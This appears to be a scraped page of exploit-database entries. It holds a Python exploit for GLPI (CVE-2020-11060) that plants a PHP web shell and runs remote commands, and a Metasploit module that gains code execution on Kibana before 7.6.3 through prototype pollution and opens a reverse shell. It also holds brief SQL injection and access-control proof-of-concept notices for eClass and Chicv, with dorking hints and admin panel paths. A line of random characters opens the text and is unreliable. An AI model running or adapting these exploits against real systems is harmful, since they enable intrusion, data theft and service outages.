^yv*GCyzGCN^M9d@.VL4:^[/}6kUcCSz?`J*.CiqjJjQJkZkGxY}u*shO4x38t+`FW};|Go2HRAsSHJJN@``HVmacO[rn|Q+1{hA3yqEg.sL+5S)_Ol5|,kM@RET,7f[k;Xi?Mal?ZnK,*_NQWZy+cr^Cf9RA^Nv5|a@Jp2bD*HT`+Po2laU]LK,1z]LRk_-~keiS^Y8:Zh`.W}LNH`C8fzT/zv2XE<br /><br />requests.packages.urllib3.disable_warnings()<br /><br /><br />class GlpiBrowser:<br /> """_summary_"""<br /><br /> def __init__(self, url: str, user: str, password: str, platform: str):<br /> """<br /> Initialize the GlpiBrowser with required attributes.<br /><br /> Args:<br /> url (str): The URL of the target GLPI instance.<br /> user (str): The username for authentication.<br /> password (str): The password for authentication.<br /> platform (str): The platform of the target (either 'windows' or 'unix').<br /> """<br /> self.__url = url<br /> self.__user = user<br /> self.__password = password<br /><br /> self.accessible_directory = "pics"<br /><br /> if "win" in platform.lower():<br /> self.__platform = "windows"<br /> else:<br /> self.__platform = "unix"<br /><br /> self.__session = requests.Session()<br /> self.__session.verify = False<br /><br /> self.__shell_name = None<br /><br /> print(f"[+] {self!s}")<br /><br /> # Dunders<br /> def __repr__(self) -> str:<br /> """Return a machine-readable representation of the browser instance."""<br /> return f"<GlpiBrowser(url={self.__url!r}, user={self.__user!r}), password={self.__password!r}, plateform={self.__platform!r}>"<br /><br /> def __str__(self) -> str:<br /> """Return a human-readable representation of the browser instance."""<br /> return f"GLPI Browser targeting {self.__url!r} ({self.__platform!r}) with following credentials: {self.__user!r}:{self.__password!r}."<br /><br /> # Public methods<br /> def is_alive(self) -> bool:<br /> """<br /> Check if the target GLPI instance is alive and responding.<br /><br /> Returns:<br /> bool: True if the GLPI instance is up and responding, otherwise False.<br /> """<br /> try:<br /> self.__session.get(url=self.__url, timeout=3)<br /> except Exception as error:<br /> print(f"[-] Impossible to reach the target.")<br /> print(f"[x] Root cause: {error}")<br /> return False<br /> else:<br /> print(f"[+] Target is up and responding.")<br /> return True<br /><br /> def login(self) -> bool:<br /> """<br /> Attempt to login to the GLPI instance with provided credentials.<br /><br /> Returns:<br /> bool: True if login is successful, otherwise False.<br /> """<br /> html_text = self.__session.get(url=self.__url, allow_redirects=True).text<br /> csrf_token = self.__extract_csrf(html=html_text)<br /> name_field = re.search(r'name="(.*)" id="login_name"', html_text).group(1)<br /> pass_field = re.search(r'name="(.*)" id="login_password"', html_text).group(1)<br /><br /> login_request = self.__session.post(<br /> url=f"{self.__url}/front/login.php",<br /> data={<br /> name_field: self.__user,<br /> pass_field: self.__password,<br /> "auth": "local",<br /> "submit": "Post",<br /> "_glpi_csrf_token": csrf_token,<br /> },<br /> allow_redirects=False,<br /> )<br /><br /> return login_request.status_code == 302<br /><br /> def create_network(self, datemod: str) -> None:<br /> """<br /> Create a new network with the specified attributes.<br /><br /> Args:<br /> datemod (str): The timestamp indicating when the network was modified.<br /> """<br /> creation_request = self.__session.post(<br /> f"{self.__url}/front/wifinetwork.form.php",<br /> data={<br /> "entities_id": "0",<br /> "is_recursive": "0",<br /> "name": "PoC",<br /> "comment": PAYLOAD,<br /> "essid": "RCE",<br /> "mode": "ad-hoc",<br /> "add": "ADD",<br /> "_glpi_csrf_token": self.__extract_csrf(<br /> self.__session.get(f"{self.__url}/front/wifinetwork.php").text<br /> ),<br /> "_read_date_mod": datemod,<br /> },<br /> )<br /><br /> if creation_request.status_code == 302:<br /> print("[+] Network created")<br /><br /> def wipe_networks(self, padding, datemod):<br /> """<br /> Wipe all networks.<br /><br /> Args:<br /> padding (str): Padding string for ESSID.<br /> datemod (str): The timestamp indicating when the network was modified.<br /> """<br /> print("[*] Wiping networks...")<br /> all_networks_request = self.__session.get(<br /> f"{self.__url}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9"<br /> )<br /><br /> webpage = html.fromstring(all_networks_request.content)<br /><br /> for rawlink in set(<br /> link<br /> for link in webpage.xpath("//a/@href")<br /> if "wifinetwork.form.php?id=" in link<br /> ):<br /> network_id = rawlink.split("=")[-1]<br /> print(f"\tDeleting network id: {network_id}")<br /><br /> self.__session.post(<br /> f"{self.__url}/front/wifinetwork.form.php",<br /> data={<br /> "entities_id": "0",<br /> "is_recursive": "0",<br /> "name": "PoC",<br /> "comment": PAYLOAD,<br /> "essid": "RCE" + padding,<br /> "mode": "ad-hoc",<br /> "purge": "Delete permanently",<br /> "id": network_id,<br /> "_glpi_csrf_token": self.__extract_csrf(all_networks_request.text),<br /> "_read_date_mod": datemod,<br /> },<br /> )<br /><br /> def edit_network(self, padding: str, datemod: str) -> None:<br /> """_summary_<br /><br /> options:<br /> padding (str): _description_<br /> datemod (str): _description_<br /> """<br /> print("[+] Modifying network")<br /> for rawlink in set(<br /> link<br /> for link in html.fromstring(<br /> self.__session.get(f"{self.__url}/front/wifinetwork.php").content<br /> ).xpath("//a/@href")<br /> if "wifinetwork.form.php?id=" in link<br /> ):<br /> # edit the network name and essid<br /> self.__session.post(<br /> f"{self.__url}/front/wifinetwork.form.php",<br /> data={<br /> "entities_id": "0",<br /> "is_recursive": "0",<br /> "name": "PoC",<br /> "comment": PAYLOAD,<br /> "essid": f"RCE{padding}",<br /> "mode": "ad-hoc",<br /> "update": "Save",<br /> "id": rawlink.split("=")[-1],<br /> "_glpi_csrf_token": self.__extract_csrf(<br /> self.__session.get(<br /> f"{self.__url}/front/{rawlink.split('/')[-1]}"<br /> ).text<br /> ),<br /> "_read_date_mod": datemod,<br /> },<br /> )<br /><br /> print(f"\tNew ESSID: RCE{padding}")<br /><br /> def create_dump(self, wifi_table_offset: str = None):<br /> """<br /> Initiates a dump request to the server.<br /><br /> Args:<br /> wifi_table_offset (str, optional): The offset for the 'wifi_networks' table. Defaults to '310'.<br /><br /> Note:<br /> Adjust the offset number to match the table number for wifi_networks.<br /> This can be found by downloading a SQL dump and running:<br /> zgrep -n "CREATE TABLE" glpi-backup-*.sql.gz | grep -n wifinetworks<br /> """<br /> dump_target = f"{self.path}{self.__shell_name}"<br /> print(f"[*] Dumping the database remotely at: {dump_target}")<br /> self.__session.get(<br /> f"{self.__url}/front/backup.php?dump=dump&offsettable={wifi_table_offset or '310'}&fichier={dump_target}"<br /> )<br /><br /> print(f"[+] File 'dumped', accessible at: {self.shell_path}")<br /><br /> def upload_rce(self, wifi_table_offset: str = None) -> str:<br /> """<br /> Uploads the RCE (Remote Code Execution) shell to the target.<br /><br /> Args:<br /> wifi_table_offset (str, optional): The offset for the 'wifi_networks' table.<br /><br /> Returns:<br /> str: A status message indicating the outcome of the upload.<br /> """<br /> if not self.login():<br /> print("[-] Login error")<br /> return<br /><br /> print(f"[+] User {self.__user!r} is logged in.")<br /><br /> # create timestamp<br /> datemod = datetime.now().strftime("%Y-%m-%d %H:%M:%S")<br /><br /> tick = 1<br /> while True:<br /> print("-" * 25 + f" trial number {tick} " + "-" * 25)<br /><br /> # create padding for ESSID<br /> padding = "e" * tick<br /><br /> self.wipe_networks(padding, datemod)<br /> self.create_network(datemod)<br /> self.edit_network(padding, datemod)<br /><br /> self.__shell_name = (<br /> "".join(random.choice(string.ascii_letters) for _ in range(8)) + ".php"<br /> )<br /><br /> print(f"[+] Current shellname: {self.__shell_name}")<br /><br /> self.create_dump(wifi_table_offset)<br /> if self.__shell_check():<br /> break<br /><br /> tick += 1<br /><br /> print("-" * 66)<br /> print(f"[+] RCE found after {tick} trials!")<br /><br /> # Private methods<br /> def __extract_csrf(self, html: str):<br /> """Extract CSRF token from the provided HTML content."""<br /> return re.search(<br /> pattern=r'name="_glpi_csrf_token" value="([a-f0-9]{32})"', string=html<br /> ).group(1)<br /><br /> def __shell_check(self) -> bool:<br /> """Check if the uploaded shell is active and responding correctly."""<br /> r = self.__session.get(<br /> url=self.shell_path,<br /> params={"0": "echo HERE"},<br /> )<br /> shell_size = len(r.content)<br /> print(f"[+] Shell size: {shell_size!s}")<br /> if shell_size < 50:<br /> print("[x] Too small, there is a problem with the choosen offset.")<br /> return False<br /><br /> return b"HERE" in r.content<br /><br /> # Properties<br /> @property<br /> def path(self):<br /> """With this property, every time you access self.path, it will dynamically generate and return the path string based on the current value of self.accessible_directory. This way, it will always be a "direct reference" to the value of self.accessible_directory."""<br /> if "win" in self.__platform.lower():<br /> return f"C:\\xampp\\htdocs\\{self.accessible_directory}\\"<br /> else:<br /> return f"/var/www/html/glpi/{self.accessible_directory}/"<br /><br /> @property<br /> def shell_path(self) -> str:<br /> """Generate the complete path to the uploaded shell."""<br /> return f"{self.__url}/{self.accessible_directory}/{self.__shell_name}"<br /><br /><br />def execute(<br /> url: str,<br /> command: str,<br /> timeout: float = None,<br />) -> str:<br /> """<br /> Executes a given command on a remote server through a web shell.<br /><br /> This function assumes a web shell has been previously uploaded to the target<br /> server and sends a request to execute the provided command. It uses a unique<br /> delimiter ("HoH") to ensure that the command output can be parsed and<br /> returned without any additional data.<br /><br /> Args:<br /> url (str): The URL where the web shell is located on the target server.<br /> command (str): The command to be executed on the target server.<br /> timeout (float, optional): Maximum time, in seconds, for the request<br /> to the server. Defaults to None, meaning no timeout.<br /><br /> Returns:<br /> str: The output of the executed command. Returns None if the URL or<br /> command is not provided.<br /> """<br /> if url is None or command is None:<br /> return<br /><br /> command = f"echo HoH&&{command}&&echo HoH"<br /><br /> response = requests.get(<br /> url=url,<br /> params={<br /> "0": command,<br /> },<br /> timeout=timeout,<br /> verify=False,<br /> )<br /><br /> # Use regex to find the content between "HoH" delimiters<br /> if match := re.search(<br /> pattern=r"HoH(.*?)HoH", string=response.text, flags=re.DOTALL<br /> ):<br /> return match.group(1).strip()<br /><br /><br />def main() -> None:<br /> parser = argparse.ArgumentParser()<br /> parser.add_argument("--url", help="Target URL.", required=True)<br /> parser.add_argument("--user", help="Username.", default=None)<br /> parser.add_argument("--password", help="Password.", default=None)<br /> parser.add_argument("--platform", help="Target OS (windows/unix).", default=None)<br /> parser.add_argument(<br /> "--offset", help="Offset for table wifi_networks.", default=None<br /> )<br /> parser.add_argument(<br /> "--dir",<br /> help="Accessible directory on the target.",<br /> default="sound",<br /> required=False,<br /> ) # "sound" as default directory<br /><br /> parser.add_argument("--command", help="Command to execute via RCE.", default=None)<br /><br /> options = parser.parse_args()<br /><br /> if options.command:<br /> # We assume the given URL is the shell path if a command is provided.<br /><br /> try:<br /> response = execute(url=options.url, command=options.command, timeout=5)<br /> except TimeoutError:<br /> print(f"[x] Timeout received form target. Maybe your command failed.")<br /> else:<br /> print(f"[*] Response received from {options.url!r}:")<br /> print(response)<br /> finally:<br /> return<br /><br /> target = GlpiBrowser(<br /> options.url,<br /> user=options.user,<br /> password=options.password,<br /> platform=options.platform,<br /> )<br /><br /> if not target.is_alive():<br /> return<br /><br /> target.accessible_directory = options.dir<br /> target.upload_rce(wifi_table_offset=options.offset)<br /><br /> print(<br /> f"[+] You can execute command remotely as: {execute(url=target.shell_path, command='whoami').strip()}@{execute(url=target.shell_path, command='hostname').strip()}"<br /> )<br /> print("[+] Run this tool again with the desired command to inject:")<br /> print(<br /> f"\tpython3 CVE-2020-11060.py --url '{target.shell_path}' --command 'desired_command_here'"<br /> )<br /><br /><br />if __name__ == "__main__":<br /> main()<br /> <br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ManualRanking # causes service to not respond until cleanup and reboot<br /> include Msf::Exploit::Remote::HttpClient<br /> # decided not to use autocheck since it doesn't work for both targets<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Kibana Upgrade Assistant Telemetry Collector Prototype Pollution',<br /> 'Description' => %q{<br /> Kibana before version 7.6.3 suffers from a prototype pollution bug within the<br /> Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're<br /> able to execute arbitrary code.<br /> Code execution is possible through two different ways. Either by sending data<br /> directly to Elastic, or using Kibana to submit the same queries. Either method<br /> enters the polluted prototype for Kibana to read.<br /><br /> Kibana will either need to be restarted, or collection happens (unknown time) for<br /> the payload to execute. Once it does, cleanup must delete the .kibana_1 index<br /> for Kibana to restart successfully. Once a callback does occur, cleanup will<br /> happen allowing Kibana to be successfully restarted on next attempt.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # msf module<br /> 'Alex Brasetvik (alexbrasetvik)' # original PoC, analysis<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://hackerone.com/reports/852613'],<br /> ],<br /> 'Privileged' => false,<br /> 'Arch' => [ ARCH_CMD ],<br /> 'Platform' => [ 'linux' ],<br /> 'Type' => :nix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',<br /> 'WfsDelay' => 1800 # 30min<br /> },<br /> 'Targets' => [<br /> [ 'ELASTIC', {}], # target kibana through a direct elastic connection<br /> [ 'KIBANA', {}] # target kibana through the dev console to implant elastic data<br /> ],<br /> 'DisclosureDate' => '2020-04-17',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SERVICE_DOWN], # down until cleanup and reboot<br /> 'Reliability' => [],<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> Opt::RPORT(9200), # default to elastic port, kibana is 5601<br /> OptString.new('USERNAME', [ false, 'Elastic User to login with', '']),<br /> OptString.new('PASSWORD', [ false, 'Elastic Password to login with', '']),<br /> OptString.new('TARGETURI', [ true, 'The URI of the Kibana/Elastic Application', '/'])<br /> ]<br /> )<br /> end<br /><br /> # https://stackoverflow.com/a/4899857<br /> def time_rand(from = Time.local(2020, 6, 28), to = Time.now)<br /> Time.at(from + rand * (to.to_f - from.to_f)).strftime('%FT%T.000Z')<br /> # outputs 2020-04-17T20:47:40.800Z format<br /> end<br /><br /> # This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session<br /> # it may also only crash when on docker, and may be fine elsewehre. Regardless, good code to not lose just in case.<br /> def kibana_cleanup<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),<br /> 'method' => 'POST',<br /> 'headers' => {<br /> 'kbn-xsrf' => @xsrf<br /> },<br /> 'ctype' => 'application/json',<br /> 'vars_get' => {<br /> 'path' => '.kibana_1', # URI for the elastic request<br /> 'method' => 'DELETE' # method for the elastic query<br /> }<br /> )<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200<br /> end<br /><br /> def elastic_cleanup<br /> request = {<br /> 'uri' => normalize_uri(target_uri.path, '.kibana*'),<br /> 'method' => 'DELETE'<br /><br /> }<br /> request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?<br /><br /> res = send_request_cgi(request)<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200<br /> end<br /><br /> def execute_command<br /> case target.name<br /> when 'ELASTIC'<br /> request = {<br /> 'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'),<br /> 'method' => 'PUT',<br /> 'ctype' => 'application/json',<br /> 'data' => telemetry_data.to_json<br /> }<br /> request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?<br /><br /> res = send_request_cgi(request)<br /> when 'KIBANA'<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),<br /> 'method' => 'POST',<br /> 'headers' => {<br /> 'kbn-xsrf' => @xsrf<br /> },<br /> 'ctype' => 'application/json',<br /> 'vars_get' => {<br /> 'path' => '.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry', # URI for the elastic request<br /> 'method' => 'PUT' # method for the elastic query<br /> },<br /> 'data' => telemetry_data.to_json<br /> )<br /> end<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 201<br /> end<br /><br /> def telemetry_data<br /> {<br /> 'upgrade-assistant-telemetry' => {<br /> 'ui_open.overview' => 1,<br /> 'ui_open.cluster' => 1,<br /> 'ui_open.indices' => 1,<br /> 'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('#{payload.encoded}')"<br /> },<br /> 'type' => 'upgrade-assistant-telemetry',<br /> 'updated_at' => time_rand<br /> }<br /> end<br /><br /> def kibana_create_index<br /> # if the index already exists, this will fail which is fine, we just need it to exist.<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/json',<br /> 'headers' => {<br /> 'kbn-xsrf' => @xsrf<br /> },<br /> 'vars_get' => {<br /> 'path' => '.kibana_1', # URI for the elastic request<br /> 'method' => 'PUT' # method for the elastic query<br /> }<br /> )<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> if res.code == 400<br /> vprint_status('Index already exists')<br /> return<br /> end<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200<br /> end<br /><br /> def elastic_create_index<br /> request = {<br /> 'uri' => normalize_uri(target_uri.path, '.kibana_1'),<br /> 'method' => 'PUT'<br /> }<br /> request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?<br /><br /> res = send_request_cgi(request)<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> if res.code == 400<br /> vprint_status('Index already exists')<br /> return<br /> end<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200<br /> end<br /><br /> def kibana_send_mapping<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/json',<br /> 'headers' => {<br /> 'kbn-xsrf' => @xsrf<br /> },<br /> 'vars_get' => {<br /> 'path' => '.kibana_1/_mappings', # URI for the elastic request<br /> 'method' => 'PUT' # method for the elastic query<br /> },<br /> 'data' => mapping_data.to_json<br /> )<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200<br /> end<br /><br /> def elastic_send_mapping<br /> request = {<br /> 'uri' => normalize_uri(target_uri.path, '.kibana_1', '_mappings'),<br /> 'method' => 'PUT',<br /> 'ctype' => 'application/json',<br /> 'data' => mapping_data.to_json<br /><br /> }<br /> request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?<br /><br /> res = send_request_cgi(request)<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200<br /> end<br /><br /> def mapping_data<br /> {<br /> 'properties' => {<br /> 'upgrade-assistant-telemetry' => {<br /> 'properties' => {<br /> 'constructor' => {<br /> 'properties' => {<br /> 'prototype' => {<br /> 'properties' => {<br /> 'sourceURL' => {<br /> 'type' => 'text',<br /> 'fields' => {<br /> 'keyword' => {<br /> 'type' => 'keyword',<br /> 'ignore_above' => 256<br /> }<br /> }<br /> }<br /> }<br /> }<br /> }<br /> },<br /> 'features' => {<br /> 'properties' => {<br /> 'deprecation_logging' => {<br /> 'properties' => {<br /> 'enabled' => {<br /> 'type' => 'boolean',<br /> 'null_value' => true<br /> }<br /> }<br /> }<br /> }<br /> },<br /> 'ui_open' => {<br /> 'properties' => {<br /> 'cluster' => {<br /> 'type' => 'long',<br /> 'null_value' => 0<br /> },<br /> 'indices' => {<br /> 'type' => 'long',<br /> 'null_value' => 0<br /> },<br /> 'overview' => {<br /> 'type' => 'long',<br /> 'null_value' => 0<br /> }<br /> }<br /> },<br /> 'ui_reindex' => {<br /> 'properties' => {<br /> 'close' => {<br /> 'type' => 'long',<br /> 'null_value' => 0<br /> },<br /> 'open' => {<br /> 'type' => 'long',<br /> 'null_value' => 0<br /> },<br /> 'start' => {<br /> 'type' => 'long',<br /> 'null_value' => 0<br /> },<br /> 'stop' => {<br /> 'type' => 'long',<br /> 'null_value' => 0<br /> }<br /> }<br /> }<br /> }<br /> }<br /> }<br /> }<br /> end<br /><br /> def check<br /> if target == targets[0] # elastic<br /> return CheckCode::Unknown('Unable to determine Kibana version from Elastic database')<br /> end<br /><br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),<br /> 'method' => 'GET',<br /> 'keep_cookies' => true<br /> )<br /> return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?<br /> return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200<br /><br /> # this pulls a big JSON blob that we need as it has the version<br /> unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body<br /> return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")<br /> end<br /><br /> version_json = CGI.unescapeHTML(Regexp.last_match(1))<br /><br /> begin<br /> json_body = JSON.parse(version_json)<br /> rescue JSON::ParserError<br /> return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")<br /> end<br /><br /> return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?<br /><br /> @version = json_body['version']<br /><br /> if Rex::Version.new(@version) < Rex::Version.new('7.6.3')<br /> return CheckCode::Appears("Exploitable Version Detected: #{@version}")<br /> end<br /><br /> CheckCode::Safe("Unexploitable Version Detected: #{@version}")<br /> end<br /><br /> def exploit<br /> @clean = true<br /> fail_with(Failure::BadConfig, 'A password has been defined without a username') if datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?<br /> case target.name<br /> when 'ELASTIC'<br /> print_warning('RPORT should most likely be set to 9200 when exploiting the ELASTIC target') if datastore['RPORT'] != 9200<br /> print_status('Creating index')<br /> elastic_create_index<br /> print_status('Sending index map')<br /> elastic_send_mapping<br /> when 'KIBANA'<br /> print_warning('RPORT should most likely be set to 5601 when exploiting the KIBANA target') if datastore['RPORT'] != 5601<br /> # xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2<br /> # https://discuss.elastic.co/t/where-can-i-get-the-correct-kbn-xsrf-value-for-my-plugin-http-requests/158725/3<br /> @xsrf = 'kibana'<br /> print_status('Creating index')<br /> kibana_create_index<br /> print_status('Sending index map')<br /> kibana_send_mapping<br /> end<br /> print_status('Sending telemetry data with payload')<br /> execute_command<br /> print_status("Waiting #{datastore['WfsDelay']} seconds for shell (kibana restart/cleanup)")<br /> end<br /><br /> def cleanup<br /> return unless @clean<br /><br /> if target.name == 'KIBANA'<br /> print_error('Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1')<br /> # kibana_cleanup<br /> return<br /> end<br /> print_status('Removing telemetry data to prevent Kibana locking on restart')<br /> elastic_cleanup<br /> end<br />end<br /></code></pre>
<pre><code>====================================================================================================================================<br />| # Title : eClass Junior 4.0 Sql injection Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | <br />| # Vendor : https://www.eclass.com.hk/en/product/eclass-junior/ | <br />====================================================================================================================================<br /><br />poc :<br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] use payload : /gallery_detail.php?cid=55 <===== inject here<br /><br />[+] http://127.0.0.www.cls.eduhk/tc/gallery_detail.php?cid=55<br /><br />[+] Panel : /templates/index.php?err=1&DirectLink= or /ad_min_man/login.php<br /><br />Greetings to :=================================================================<br />jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |<br />===============================================================================<br /></code></pre>
<pre><code>====================================================================================================================================<br />| # Title : eClass IP 2.5 Sql injection Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | <br />| # Vendor : https://www.eclass.com.hk/en/product/eclass-ip/ | <br />====================================================================================================================================<br /><br />poc :<br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] use payload : /gallery_detail.php?cid=55&id=161 <===== inject here<br /><br />[+] http://127.0.0.www.cls.eduhk/tc/gallery_detail.php?cid=55&id=161<br /><br />[+] Panel : /templates/index.php?err=1&DirectLink= or /ad_min_man/login.php<br /><br />Greetings to :=================================================================<br />jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |<br />===============================================================================<br /></code></pre>
<pre><code>====================================================================================================================================<br />| # Title : Chicv Management System Login v4.5.6 IDOR Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | <br />| # Vendor : https://chicv.com/ | <br />====================================================================================================================================<br /><br />poc :<br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.<br /><br />[+] use payload : /admin/#/home<br /><br />[+] https://127.0.0.wwwjustfashionnowcom/admin/#/home<br /><br />Greetings to :=========================================================================================================================<br />jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr |<br />=======================================================================================================================================<br /></code></pre>